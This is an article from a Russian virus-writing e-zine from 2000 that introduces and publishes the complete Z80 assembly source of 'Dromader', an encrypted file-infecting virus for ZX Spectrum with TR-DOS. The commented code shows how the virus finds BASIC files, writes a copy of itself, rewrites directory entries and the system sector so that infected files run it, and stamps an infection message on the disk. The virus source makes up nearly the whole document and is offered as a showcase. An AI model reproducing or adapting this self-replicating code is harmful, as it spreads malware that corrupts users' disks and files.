_____ _____ ___
_,┌\/┐ :░ :░ :░ ╓ social distortion all about vx-scene ╖
,4\┘¤"``"¤┘ ll l¤` ll ::;;;::;;.... ....:;..: ::...;.:;;;:;
:░(_ | ___ ll ._
`└/|│S|/┐,_ |¤`┌\╙¤"¤╜/:: |╓,._ spectrum alive?! part 2 [2000]
_____ ``^"¤└/L, d7┘` ___ 7l:;%%|.$|
$$$$|_ | `7;?( |asd| :: |$$$|$| by DaemonSerj
$$$$|/┌,.__,┌\:`4│/┐,_ _ll ``''""¤¤┘┘
$$$$|`└/|││|\┘` `¤└/│:
CyberPoizon:
История со спектрумными вирусами, получила неожиданное продолжение! :)))
Соврешенно случайно, на форуме Top Device'а, я наткнулся на еще одного
автора вируса под ZX-Spectrum! Кто там говорил, что Spectrum умер? :) Если
серьезно, то данный вирус написан в 96 году, не распространялся и ранее
нигде не публиковался! Автор вируса - DaemonSerj! (ранее публиковался в
DVL 10) Итак, леди и джентельмены, представляем вам еще один ZX вирус!
Dromader! Встречайте!
─[Dromader]───────────────────────[Strart]────────────────────────────────────
;Нерезидентный вирус для SPECTRUM 48 + TR-DOS
ORG ENTRY_POINT
WOKRSP EQU 0
hBASLEN EQU 0
lBASLEN EQU 0
DI ; Запретим прерывания
CALL XORVIR ; Расшифруем вирус
BEGIN LD HL,LOOP ; Пересядем в положенную область
LD DE,WORKSP
PUSH DE
LD BC,LENGTH
LDIR
LD HL,23867 ; Перепишем копию вируса
LD DE,COPY_VR
LD BC,BASLEN
LDIR
LD HL,BEGIN-4 ; Сотрем вирус из строки...:)
LD D,H
LD E,L
INC DE
LD BC,LENVIR
LD (HL),32
JP 13251 ; Стереть и JP (DE)
LOOP PHASE WORKSP
LD (BUF_SP),SP ; Сохраним SP
LD SP,WORKSP-1 ; Новый стек
LD HL,51697 ; POP AF,RET
LD (23746),HL ; Будем пропускать ошибки - BREAK
LD HL,CAT ; Считаем каталог
LD DE,0
LD BC,2053
XOR A
LD (23824),A
CALL 15635 ; Диспетчер ДОС
DI
LD DE,16 ; шаг - длинна элемента каталога
LD IX,CAT+8 ; В элементе каталога указывает на тип
LD B,128 ; 128 элементов
FND LD A,'B'
CP (IX+0) ; BASIC файл ?
JR Z,COMPARE
DALEE ADD IX,DE ; Ищем в каталоге BASIC файл
DJNZ FND
JP DR_MOVE ; Нет бейсик файлов - на выход
COMPARE LD A,lBASLEN
CP (IX+1) ; Равна ли длинна длинне вируса
JR NZ,FOUND ; Если да, то файл уже заражен
LD A,hBASLEN
CP (IX+2)
JR Z,DALEE ; Берем следующий
FOUND LD B,8
PUSH IX
PUSH IX
POP HL ; На начало элемента
DEC HL
DJNZ $-1
LD DE,LP_DATA ; Скопируем в копию вируса
LD BC,16
LDIR
LD HL,VR_DATA ; Занесем имя вируса в буфер
LD DE,23773
LD BC,9
LDIR
LD IX,START ; Зашифруем копию
CALL WRKXOR
LD HL,BASLEN+COPY_VR ; Доделываем копию вируса
LD (HL),128
INC HL ; Идентификаторы TRDOS BASIC
LD (HL),170
INC HL
LD (HL),1 ; Автостарт с первой строки
INC HL
LD (HL),0
LD HL,5577 ; Обработка ошибок Enabled
LD (23746),HL
LD HL,COPY_VR ; Создаем файл
LD DE,BASLEN+4 ; (не BASIC)
LD C,11 ; Но TRDOS он будет виден как BASIC
CALL 15635
DI
LD HL,51697 ; Обработка ошибок Disabled
LD (23746),HL
LD HL,CAT ; Читаем каталог и системный сектор
LD DE,0
LD BC,2309
CALL 15635
DI ; Ищем в каталоге име созданного вируса
LD HL,CAT
PUSH HL
NXTCMP POP HL
LD DE,VR_DATA
LD BC,2048
LD A,(DE)
CPIR
PUSH HL
LD B,8
CMP2 INC DE
LD A,(DE)
CP (HL)
JR NZ,NXTCMP
INC HL
DJNZ CMP2
POP HL
DEC HL ; Обьявляем его стертым
XOR A
LD (HL),A
PUSH HL ; IX - на имя вируса в каталоге
POP IX
POP HL ; HL - на имя заражаемой программы
INC HL
LD (IX+8),A ; Зануляем тип
LD E,(IX+11) ; Берем длинну
LD D,(IX+12)
DEC DE
DEC DE ; четыре ID байта TRDOS не считаются
DEC DE
DEC DE
LD (HL),E ; Скопируем в элемент каталога
INC HL ; заражаемой программы
LD (HL),D
INC HL
LD (HL),E
INC HL
LD (HL),D
INC HL
INC HL
LD D,(IX+13)
PUSH DE
LD E,(IX+14) ; Копируем номер трека и сектора
LD D,(IX+15)
LD (HL),E
INC HL
LD (HL),D
PUSH IX ; Отьедем на системную область
POP HL ; элемента каталога
LD B,9
INC HL
DJNZ $-1
CPL ; A = FF
LD D,H ; Затрем все данные в имени вируса
LD E,L ; в каталоге
INC DE
LD BC,6
LD (HL),A
LDIR
LD HL,TR_SEC+0E4H ; Уменьшили кол-во файлов на диске
DEC (HL) ; в служебном секторе
LD HL,(TR_SEC+0E5H) ; Количество свободных секторов на диске
POP BC ; Число секторов вируса
INC HL
DJNZ $-1 ; Увеличим
LD (TR_SEC+0E5H),HL
LD HL,MESSAGE ; Поместим мессагу...
LD DE,TR_SEC+8
LD BC,MESLEN
LDIR
INC DE
EX DE,HL
INC (HL) ; Число заражений на данном диске
LD HL,CAT ; Пишем каталог
LD DE,0
LD BC,2310
CALL 15635
DI
DR_MOVE
LOADING DI
XOR A ; Считаем в дескриптор первый
LD C,8 ; элемент каталога
CALL 15635
DI ; Обменяем с именем текущего носителя
CALL EXCH
XOR A ; Запишем...
LD C,9
CALL 15635
XOR A ; Читаем настоящую программу
LD (23801),A
ADD A,65
LD HL,5577
LD (23746),HL
LD C,14
CALL 15635
DI
LD HL,23734 ; Swap область данных TRDOS
LD DE,TR_COPY
LD BC,23867-23734
LDIR
CALL EXCH ; Обменяем обратно
XOR A
LD C,9 ; Запишем обратно
CALL 15635
DI
LD HL,TR_COPY ; Восстановим область данных TRDOS
LD DE,23734
LD BC,23867-23734
LDIR
LD HL,23773 ; Похерим имя программы
LD D,H
LD E,L
INC DE
LD (HL),255
LD BC,15
LDIR
LD SP,(BUF_SP) ; Восстановим стек
LD HL,7788 ; Адрес подпрограммы RUN в BIOS
PUSH HL
LD IX,MAIN_PR
LD L,(IX+9)
LD H,(IX+10)
INC HL
INC HL
LD DE,23867
ADD HL,DE
LD E,(HL)
INC HL
LD D,(HL) ; Строка запуска - у нас 1
PUSH DE
XOR A
EI
LD HL,WORKSP-64 ; Затрем вирус со всем остальным
LD DE,WORKSP-63
LD (HL),A
LD BC,WRKLEN
JP 11179 ; В BIOS
EXCH LD HL,23773
LD DE,MAIN_PR
LD B,16
EXXX LD A,(HL)
EX AF,AF'
LD A,(DE)
LD (HL),A
EX AF,AF'
LD (DE),A
INC HL
INC DE
DJNZ EXXX
RET
MESSAGE DEFM " This disk infected by DROMADER ver1.01 "
VR_DATA DEFM " ver1.01C"
BUF_SP DEFW 0
MAIN_PR DEFS 16
UNPHASE
END EQU $
XORVIR LD IX,BEGIN
WRKXOR LD BC,LENXOR
LD A,65
LD R,A
XORMET LD A,R
XOR 170
NEG
XOR B
LD R,A
XOR (IX+0)
CPL
XOR 65
XOR C
LD (IX+0),A
INC IX
DEC BC
LD A,B
OR C
JR NZ,XORMET
RET
;-------EQUALS-------
ENDVIR EQU $
LENGTH EQU ENDVIR-LOOP
LENVIR EQU ENDVIR-BEGIN+3
LENXOR EQU END-BEGIN
COPY_VR EQU WORKSP-LENGTH+1
BASLEN EQU hBASLEN*256+lBASLEN
CAT EQU COPY_VR+BASLEN+4
TR_SEC EQU CAT+2048
WRKXOR EQU MAIN_PR+20
MESLEN EQU VR_DATA-MESSAGE
START EQU COPY_VR+BEGIN-23867
LP_DATA EQU COPY_VR+END-16-23867
TR_COPY EQU TR_SEC+256+1
WRKLEN EQU TR_COPY+23867-23734-WORKSP+64
─[Dromader]───────────────────────[End]───────────────────────────────────────
P.S: Ассемблеры, дебагеры, дизассемблеры, эмуляторы для Spectrum'а, Вы
можете найти на сайте Virtual Tr-DOS, по адресу http://www.zx.ru/vt.